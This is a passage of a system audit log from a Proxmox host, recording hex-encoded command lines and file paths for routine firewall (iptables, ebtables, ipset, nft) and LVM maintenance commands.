cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.969:63373): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965465275,"@rawstring":"node=pve type=PATH msg=audit(1781965465.275:65728): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.963:63372): proctitle=\"ip6tables-save\""} {"@timestamp":1781965465271,"@rawstring":"node=pve type=PATH msg=audit(1781965465.271:65727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955956,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.956:63371): proctitle=\"iptables-save\""} {"@timestamp":1781965465271,"@rawstring":"node=pve type=PATH msg=audit(1781965465.271:65727): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.950:63370): proctitle=\"ip6tables-save\""} {"@timestamp":1781965465265,"@rawstring":"node=pve type=PATH msg=audit(1781965465.265:65726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.943:63369): proctitle=\"iptables-save\""} {"@timestamp":1781965465265,"@rawstring":"node=pve type=PATH msg=audit(1781965465.265:65726): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.940:63368): proctitle=\"ebtables-restore\""} {"@timestamp":1781965465259,"@rawstring":"node=pve type=PATH msg=audit(1781965465.259:65725): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955937,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.937:63367): proctitle=\"ebtables-restore\""} {"@timestamp":1781965465259,"@rawstring":"node=pve type=PATH msg=audit(1781965465.259:65725): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.932:63366): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965465253,"@rawstring":"node=pve type=PATH msg=audit(1781965465.253:65724): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.926:63365): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965465253,"@rawstring":"node=pve type=PATH msg=audit(1781965465.253:65724): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.921:63364): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965465245,"@rawstring":"node=pve type=PATH msg=audit(1781965465.245:65723): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.915:63363): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965465245,"@rawstring":"node=pve type=PATH msg=audit(1781965465.245:65723): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.911:63362): proctitle=697073657400726573746F7265"} {"@timestamp":1781965465243,"@rawstring":"node=pve type=PATH msg=audit(1781965465.243:65722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.904:63361): proctitle=\"ip6tables-save\""} {"@timestamp":1781965465243,"@rawstring":"node=pve type=PATH msg=audit(1781965465.243:65722): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.898:63360): proctitle=\"iptables-save\""} {"@timestamp":1781965465239,"@rawstring":"node=pve type=PATH msg=audit(1781965465.239:65721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.895:63359): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965465239,"@rawstring":"node=pve type=PATH msg=audit(1781965465.239:65721): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.892:63358): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965465237,"@rawstring":"node=pve type=PATH msg=audit(1781965465.237:65720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.891:63357): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965465237,"@rawstring":"node=pve type=PATH msg=audit(1781965465.237:65720): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.891:63356): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965465237,"@rawstring":"node=pve type=PATH msg=audit(1781965465.237:65719): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.887:63355): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965465233,"@rawstring":"node=pve type=PATH msg=audit(1781965465.233:65718): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.881:63354): proctitle=\"ip6tables-save\""} {"@timestamp":1781965465233,"@rawstring":"node=pve type=PATH msg=audit(1781965465.233:65718): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.875:63353): proctitle=\"iptables-save\""} {"@timestamp":1781965465233,"@rawstring":"node=pve type=PATH msg=audit(1781965465.233:65718): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955870,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.870:63352): proctitle=69707365740073617665"} {"@timestamp":1781965465227,"@rawstring":"node=pve type=PATH msg=audit(1781965465.227:65717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.864:63351): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965465227,"@rawstring":"node=pve type=PATH msg=audit(1781965465.227:65717): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.858:63350): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965465219,"@rawstring":"node=pve type=PATH msg=audit(1781965465.219:65716): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964954.637:63349): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965465219,"@rawstring":"node=pve type=PATH msg=audit(1781965465.219:65716): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964954.604:63348): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965465215,"@rawstring":"node=pve type=PATH msg=audit(1781965465.215:65715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964954.141:63347): proctitle=7073002D656C66"} {"@timestamp":1781965465215,"@rawstring":"node=pve type=PATH msg=audit(1781965465.215:65715): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964951.244:63346): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465207,"@rawstring":"node=pve type=PATH msg=audit(1781965465.207:65714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964951.244:63345): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465207,"@rawstring":"node=pve type=PATH msg=audit(1781965465.207:65714): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964951.244:63344): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465199,"@rawstring":"node=pve type=PATH msg=audit(1781965465.199:65713): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964951.237:63343): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465199,"@rawstring":"node=pve type=PATH msg=audit(1781965465.199:65713): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964951.237:63342): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965464706,"@rawstring":"node=pve type=PATH msg=audit(1781965464.706:65712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964951.237:63341): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965464706,"@rawstring":"node=pve type=PATH msg=audit(1781965464.706:65712): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964946.227:63340): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965464680,"@rawstring":"node=pve type=PATH msg=audit(1781965464.680:65711): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964946.227:63339): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965464680,"@rawstring":"node=pve type=PATH msg=audit(1781965464.680:65711): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964946.227:63338): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965463095,"@rawstring":"node=pve type=PATH msg=audit(1781965463.095:65710): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964946.218:63337): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965463095,"@rawstring":"node=pve type=PATH msg=audit(1781965463.095:65710): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964946.218:63336): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965463095,"@rawstring":"node=pve type=PATH msg=audit(1781965463.095:65709): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964946.218:63335): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965463095,"@rawstring":"node=pve type=PATH msg=audit(1781965463.095:65708): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945846,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.846:63334): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965463081,"@rawstring":"node=pve type=PATH msg=audit(1781965463.081:65707): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.842:63333): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965463081,"@rawstring":"node=pve type=PATH msg=audit(1781965463.081:65707): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.840:63332): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965463081,"@rawstring":"node=pve type=PATH msg=audit(1781965463.081:65706): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.840:63331): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965463080,"@rawstring":"node=pve type=PATH msg=audit(1781965463.080:65705): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.835:63330): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965458073,"@rawstring":"node=pve type=PATH msg=audit(1781965458.073:65704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.829:63329): proctitle=\"ip6tables-save\""} {"@timestamp":1781965458073,"@rawstring":"node=pve type=PATH msg=audit(1781965458.073:65704): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.821:63328): proctitle=\"iptables-save\""} {"@timestamp":1781965458072,"@rawstring":"node=pve type=PATH msg=audit(1781965458.072:65703): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.814:63327): proctitle=\"ip6tables-save\""} {"@timestamp":1781965458072,"@rawstring":"node=pve type=PATH msg=audit(1781965458.072:65702): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.804:63326): proctitle=\"iptables-save\""} {"@timestamp":1781965458062,"@rawstring":"node=pve type=PATH msg=audit(1781965458.062:65701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945801,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.801:63325): proctitle=\"ebtables-restore\""} {"@timestamp":1781965458062,"@rawstring":"node=pve type=PATH msg=audit(1781965458.062:65701): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.797:63324): proctitle=\"ebtables-restore\""} {"@timestamp":1781965458060,"@rawstring":"node=pve type=PATH msg=audit(1781965458.060:65700): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.792:63323): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965458060,"@rawstring":"node=pve type=PATH msg=audit(1781965458.060:65699): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945786,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.786:63322): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965455190,"@rawstring":"node=pve type=PATH msg=audit(1781965455.190:65698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.781:63321): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965455190,"@rawstring":"node=pve type=PATH msg=audit(1781965455.190:65698): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945775,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.775:63320): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965455184,"@rawstring":"node=pve type=PATH msg=audit(1781965455.184:65697): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.771:63319): proctitle=697073657400726573746F7265"} {"@timestamp":1781965455184,"@rawstring":"node=pve type=PATH msg=audit(1781965455.184:65697): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.763:63318): proctitle=\"ip6tables-save\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=PATH msg=audit(1781965455.184:65696): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.757:63317): proctitle=\"iptables-save\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=PATH msg=audit(1781965455.184:65696): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.752:63316): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965455182,"@rawstring":"node=pve type=PATH msg=audit(1781965455.182:65695): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945749,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.749:63315): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965455178,"@rawstring":"node=pve type=PATH msg=audit(1781965455.178:65694): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.748:63314): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965455178,"@rawstring":"node=pve type=PATH msg=audit(1781965455.178:65694): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.748:63313): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965455178,"@rawstring":"node=pve type=PATH msg=audit(1781965455.178:65694): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945744,"@rawstring":"node=pve type=PROCTITLE 